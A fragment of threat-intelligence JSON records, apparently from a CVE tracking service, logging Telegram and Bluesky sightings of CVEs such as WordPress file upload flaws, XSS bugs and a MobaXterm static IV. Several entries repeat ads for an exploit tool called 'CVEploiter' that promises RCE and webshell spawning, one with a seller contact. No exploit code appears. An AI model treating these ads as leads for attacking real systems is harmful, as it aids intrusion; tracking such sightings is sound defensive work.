"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0714", "type": "seen", "source": "https://t.me/CveExploits/17", "content": "\ud83d\udea8 CVE-2023-0714\nThe Metform Elementor Contact Form Builder for WordPress is vulnerable to Arbitrary File Upload due to insufficient file type validation in versions up to, and including, 3.2.4. This allows unauthenticated visitors to perform a \"double extension\" attack and upload files containing a malicious extension but ending with a benign extension, which may make remote code execution possible in some configurations.", "creation_timestamp": "2024-08-17T14:02:21.000000Z"}, {"uuid": "e3e6f558-5ad7-432e-b6ff-63184d001dc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "https://t.me/cvedetector/18255", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0714 - MobaXterm Static IV Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0714 \nPublished : Feb. 17, 2025, 12:15 p.m. | 30\u00a0minutes ago \nDescription : The vulnerability existed in the password storage of Mobateks MobaXterm below 25.0.  \nMobaXTerm uses an initialization vector (IV) that is generated by encrypting null bytes with a derivate of the users master key. As both the master key is static, and AES ECB produces the same output with the same input the IV for AES CFB is always the same.The static IV makes it easier to obtain sensitive information and decrypt data if the data is stored at rest. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Feb 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-02-17T14:02:22.000000Z"}, {"uuid": "3eb651b0-c3ba-4998-9394-b6e8b7f51259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0718", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mjm5t6k5am2f", "content": "", "creation_timestamp": "2026-04-16T10:03:41.178723Z"}, {"uuid": "3e86a7e4-ac1e-4b45-a1f1-5d15a04b323f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0710", "type": "seen", "source": "https://t.me/cvedetector/16348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0710 - CampCodes School Management Software Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2025-0710 \nPublished : Jan. 24, 2025, 9:15 p.m. | 21\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in CampCodes School Management Software 1.0. Affected is an unknown function of the file /notice-list of the component Notice Board Page. The manipulation of the argument Notice leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-24T22:46:38.000000Z"}, {"uuid": "4d8b2a40-4e7b-4ce9-9d2d-1acf71a54e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0710", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3015", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0710\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in CampCodes School Management Software 1.0. Affected is an unknown function of the file /notice-list of the component Notice Board Page. The manipulation of the argument Notice leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-01-24T21:00:21.431Z\n\ud83d\udccf Modified: 2025-01-24T21:00:21.431Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.293238\n2. https://vuldb.com/?ctiid.293238\n3. https://vuldb.com/?submit.484934\n4. https://github.com/anamika126/Stackofvulnerabilities/blob/main/Stored%20Cross%20Site%20Scripting%20-%20Notice%20Board.pdf\n5. https://www.campcodes.com/", "creation_timestamp": "2025-01-24T21:05:05.000000Z"}, {"uuid": "675e5b29-4b07-4ba3-a59e-6813a1ef91c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0719", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5495", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0719\n\ud83d\udd25 CVSS Score: 6.1 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: IBM Cloud Pak for Data 4.0.0 through 4.8.5 and 5.0.0 is vulnerable to cross-site scripting. This vulnerability allows an unauthenticated attacker to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.\n\ud83d\udccf Published: 2025-02-26T14:04:04.974Z\n\ud83d\udccf Modified: 2025-02-26T14:20:27.526Z\n\ud83d\udd17 References:\n1. https://www.ibm.com/support/pages/node/7184173", "creation_timestamp": "2025-02-26T14:25:22.000000Z"}, {"uuid": "628d886c-12eb-444f-a1ae-7d5fe651b088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "Telegram/84jLrkYB2Bhn830vsx09wwfQyGg4M1cfAS8c54i7HqKv2UY", "content": "", "creation_timestamp": "2026-01-08T14:01:27.000000Z"}, {"uuid": "3f67087b-cf26-4c9e-821c-34277af01dff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-0719", "type": "seen", "source": "Telegram/MF5Mb_KH9Dl27A-oSLc1JrD-xlLt5sgTckbUHyznbnX30sc", "content": "", "creation_timestamp": "2026-01-08T14:01:19.000000Z"}, {"uuid": "a28739e7-94a0-4703-a839-ac35c23b9d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0717", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8600", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-0717\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: To exploit the vulnerability, it is necessary:\n\ud83d\udccf Published: 2025-03-25T06:00:14.221Z\n\ud83d\udccf Modified: 2025-03-25T06:00:14.221Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/31f734fc-d474-46b3-98eb-04761cab8878/", "creation_timestamp": "2025-03-25T06:23:32.000000Z"}, {"uuid": "3bcbe72c-4ca5-46ea-86f9-dd027c9571e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "Telegram/eU5TW0NrIabaH627FpFKhEBuxk5i4RkIq4T6rxIMq7cGCQ", "content": "", "creation_timestamp": "2025-03-05T22:29:05.000000Z"}, {"uuid": "f32f7ee0-5765-4bd0-b85a-d65f88012e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-0715", "type": "published-proof-of-concept", "source": "https://t.me/habr_com_news/3948", "content": "\u200b\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0448\u0442\u0430\u0442\u043d\u043e\u043c \u041f\u041e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f SmartConnect \u0434\u043b\u044f APC Smart-UPS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0418\u0411\u041f \u0432 \u043e\u0431\u043b\u0430\u043a\u0435\n\n\u041f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 Bleeping Computer, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u0448\u0442\u0430\u0442\u043d\u043e\u043c \u041f\u041e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f SmartConnect \u0434\u043b\u044f APC Smart-UPS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0431\u0435\u0441\u043f\u0435\u0440\u0435\u0431\u043e\u0439\u043d\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f, \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0443 APC. \n \n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Armis \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u0431\u043b\u043e\u0433\u0435, \u043a\u0430\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0430\u0442\u0430\u043a\u0438 TLStorm (\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 CVE-2022-22806, CVE-2022-22805 \u0438 CVE-2022-0715) \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438 \u0431\u0435\u0441\u043f\u0435\u0440\u0435\u0431\u043e\u0439\u043d\u043e\u0433\u043e \u043f\u0438\u0442\u0430\u043d\u0438\u044f \u043e\u0442 APC, \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Schneider Electric.\n\n#\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #SmartConnect", "creation_timestamp": "2022-03-09T10:42:42.000000Z"}, {"uuid": "c97c9b5b-f1cb-41ef-aa17-7ea841d270fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0716", "type": "seen", "source": "https://t.me/cvedetector/24047", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0716 - AngularJS SVG Image Content Spoofing\", \n  \"Content\": \"CVE ID : CVE-2025-0716 \nPublished : April 29, 2025, 5:15 p.m. | 1\u00a0hour, 39\u00a0minutes ago \nDescription : Improper sanitization of the value of the 'href' and 'xlink:href' attributes in '' SVG elements in AngularJS allows attackers to bypass common image source restrictions. This can lead to a form of  Content Spoofing  \u00a0and also negatively affect the application's performance and behavior by using too large or slow-to-load images.  \n  \nThis issue affects all versions of AngularJS.  \n  \nNote:  \nThe AngularJS project is End-of-Life and will not receive any updates to address this issue. For more information see  here  . \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-29T21:01:21.000000Z"}, {"uuid": "80701df7-c628-4b64-a607-1dab6c43bdf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0717", "type": "seen", "source": "https://t.me/cvedetector/21065", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0717 - Apache HTTP Server XML External Entity (XXE) Injection\", \n  \"Content\": \"CVE ID : CVE-2025-0717 \nPublished : March 25, 2025, 6:15 a.m. | 1\u00a0hour, 32\u00a0minutes ago \nDescription : To exploit the vulnerability, it is necessary: \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T09:27:42.000000Z"}, {"uuid": "52892122-03ae-4c02-9fb3-db6bede9d1c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0718", "type": "seen", "source": "https://t.me/cvedetector/20892", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-0718 - WordPress Nested Pages Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-0718 \nPublished : March 23, 2025, 6:15 a.m. | 1\u00a0hour, 42\u00a0minutes ago \nDescription : The Nested Pages WordPress plugin before 3.2.13 does not sanitise and escape some of its settings, which could allow high privilege users such as contributors to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"23 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-23T09:47:47.000000Z"}, {"uuid": "5ae66079-7eef-47ab-947a-4671777c4d3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/bexsop/370", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-14T13:46:34.000000Z"}, {"uuid": "5a28f231-9b1e-411a-bcb0-880a005eafb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/ZeroEthical_Course/4049", "content": "\u2620\ufe0fCVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\n\u2708\ufe0fEnjoy", "creation_timestamp": "2025-03-05T23:29:05.000000Z"}, {"uuid": "f2e6ac73-b622-4018-8dc3-b0e5e5999a2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0714", "type": "seen", "source": "Telegram/yV6dAPGZ49OUv-kASe1rzotJod3GDv4E0fAsr4JH0HTKiug_", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "efcc2139-243b-4e58-8abc-914b7febc88b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-0714", "type": "seen", "source": "Telegram/rpwmbOltjKQW1JY0BjTFW_-aZSJyTmPdmCDXFWsnvWA70if2", "content": "", "creation_timestamp": "2025-02-19T15:39:53.000000Z"}, {"uuid": "a178235b-772c-415c-9346-1352c12f5d1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0715", "type": "seen", "source": "Telegram/i1G9oLejF4iyaKkUyeZXZR1sifm7O3SVyY1MgmaQt5UT-wC2", "content": "", "creation_timestamp": "2025-02-14T10:05:08.000000Z"}, {"uuid": "60a5ea24-a75f-4fd3-8a6c-80b96131d657", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/42136", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:16.000000Z"}, {"uuid": "8e32ced6-8608-4d70-9d4e-591594c1ca8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "Telegram/5wtuBUawfmBgpqWWV5EHlsYg0fOU3PzyjHe2qzgYk5w-", "content": "", "creation_timestamp": "2024-06-14T14:38:05.000000Z"}, {"uuid": "1c3cb003-b467-4b0d-a9b7-d856ed450612", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "seen", "source": "https://t.me/h0rn3t_sp1d3rs/494", "content": "\u2668\ufe0f YOU NEED ? \n\n\u2705 Advanced software to exploit cve-2024 vulnerabilities.\n\n\u27a1\ufe0f CVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE] \n\n\u27a1\ufe0f CVE-2024-1210 -\u00a0 Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE] \n\n\u27a1\ufe0f CVE-2024-21644 - pyLoad - Flask Config < Access Control [AC] \n\n\u27a1\ufe0f CVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW] \n \n\ud83d\uded2 Dm @h0rn3t_sp1d3r \u2708\ufe0f", "creation_timestamp": "2024-03-18T19:56:23.000000Z"}, {"uuid": "edd5eb62-3153-4fb6-8be2-b785661dbde0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/AGENTZSECURITY/1122", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2025-03-05T14:04:07.000000Z"}, {"uuid": "cb6243d8-2e89-4349-b85f-a79921bfa291", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0715", "type": "seen", "source": "https://t.me/arpsyndicate/3710", "content": "#ExploitObserverAlert\n\nCVE-2024-0715\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to CVE-2024-0715. Expression Language Injection vulnerability in Hitachi Global Link Manager on Windows allows Code Injection.This issue affects Hitachi Global Link Manager: before 8.8.7-03.\n\nFIRST-EPSS: 0.000610000", "creation_timestamp": "2024-02-21T07:05:51.000000Z"}, {"uuid": "6fedad2a-9f72-435f-8d26-078a549b4838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "seen", "source": "https://t.me/arpsyndicate/2980", "content": "#ExploitObserverAlert\n\nCVE-2024-0713\n\nDESCRIPTION: Exploit Observer has 2 entries in 2 file formats related to CVE-2024-0713. A vulnerability was found in Monitorr 1.7.6m. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /assets/php/upload.php of the component Services Configuration. The manipulation of the argument fileToUpload leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-251539. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2024-01-26T15:15:31.000000Z"}, {"uuid": "2235ac1f-6215-4fdb-bd0f-deba2cb8b2d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/LeakingCode/12981", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-06-16T15:10:15.000000Z"}, {"uuid": "be469e88-ea02-41d1-8dc8-74612522eac1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/324", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-03-22T20:01:24.000000Z"}, {"uuid": "3c562dc1-b7c1-41db-9656-48409c638088", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/v3n0mhack/313", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]", "creation_timestamp": "2024-02-26T20:19:03.000000Z"}, {"uuid": "56a9865c-9a92-42c4-b0b6-455065470989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1457", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:50.000000Z"}, {"uuid": "42057b49-8989-4899-8c29-32611d4da26e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1444", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-09-17T21:29:51.000000Z"}, {"uuid": "d040a7ce-3834-45ff-b9d9-17063145428b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1412", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-05-14T19:38:14.000000Z"}, {"uuid": "ea1bfb27-051e-44e3-bf3d-1f10d20d7120", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1625", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-11-20T11:01:27.000000Z"}, {"uuid": "84edbd09-f5b0-4b2d-acad-3f4785b21a1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1404", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-03T19:16:45.000000Z"}, {"uuid": "2f538138-fbbd-47d3-ab2a-2a263a205ae1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-0713", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1425", "content": "CVEploiter v1.0.0.0\n\nAdvanced software to exploit cve-2024 vulnerabilities.\n\nCVE-2024-25600 - Wordpress - Bricks < Remote Code Execution [RCE]\n\nCVE-2024-1210 -  Wordpress - LearnDash LMS < Sensitive Information Exposure [SIE]\n\nCVE-2024-21644 - pyLoad - Flask Config < Access Control [AC]\n\nCVE-2024-0713 - Monitorr Services Configuration - Spawn Webshell [SW]\n\nEnjoy;", "creation_timestamp": "2024-04-27T16:50:04.000000Z"}, {"uuid": "3b452458-b1cc-40ac-ac2c-df5efb281fd3", "vulnerability_lookup_origin": 